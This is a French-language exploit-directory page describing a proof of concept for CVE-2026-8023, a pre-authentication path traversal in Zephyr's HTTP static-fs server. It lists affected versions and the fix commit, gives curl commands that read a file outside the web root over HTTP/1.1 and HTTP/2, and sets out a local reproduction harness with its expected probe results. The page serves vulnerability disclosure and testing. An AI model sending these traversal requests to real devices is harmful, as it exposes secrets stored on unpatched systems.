Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8023 — PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | Kitploit
Outils/GitHubGitHub/ret2c/cve-2026-8023
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubret2c/cve-2026-8023

CVE-2026-8023

PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2026-8023 — Traversée de chemin dans le serveur HTTP static-fs de Zephyr (PoC)

Traversée de chemin avant authentification dans le gestionnaire static-fs du serveur HTTP de Zephyr (subsys/net/lib/http) lorsque la correspondance de ressources avec wildcard (CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) est utilisée avec HTTP_RESOURCE_TYPE_STATIC_FS. Affecte à la fois HTTP/1.1 et HTTP/2.

GHSA: GHSA-hch3-53g6-jj3h

  • Versions concernées : >= 4.0.0, < 4.3.1 ; >= 4.4.0, < 4.4.2
  • Confirmé sur : b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)
  • Introduit : commit e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)
  • Correction du commit : zephyrproject-rtos/zephyr#108531
root@kitploit:~
curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"

Reproduire

root@kitploit:~
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update

# Copiez le contenu du dossier pocs/ de ce dépôt dans zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash

# Dans le conteneur :
west build -p always -b native_sim/native/64 \
    zephyr/pocs/http_static_fs_native_sim \
    -- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe

Le harnais de test monte une image LittleFS, écrit un secret dans /littlefs/device.env en dehors de la racine web /littlefs/www/, expose une route static-fs avec wildcard, puis effectue quatre requêtes en boucle locale :

Télécharger l’outil
SondeRequêteAttendu
HTTP1_GLOB_TRAVERSALGET /www/../device.env (HTTP/1.1)200 + secret
HTTP1_ENCODED_TRAVERSALGET /www/%2e%2e/device.env (HTTP/1.1)404 (pas de décodage)
HTTP2_GLOB_TRAVERSAL:path = /www/../device.env (HTTP/2)octets du secret
HTTP2_ENCODED_TRAVERSAL:path = /www/%2e%2e/device.env (HTTP/2)pas de secret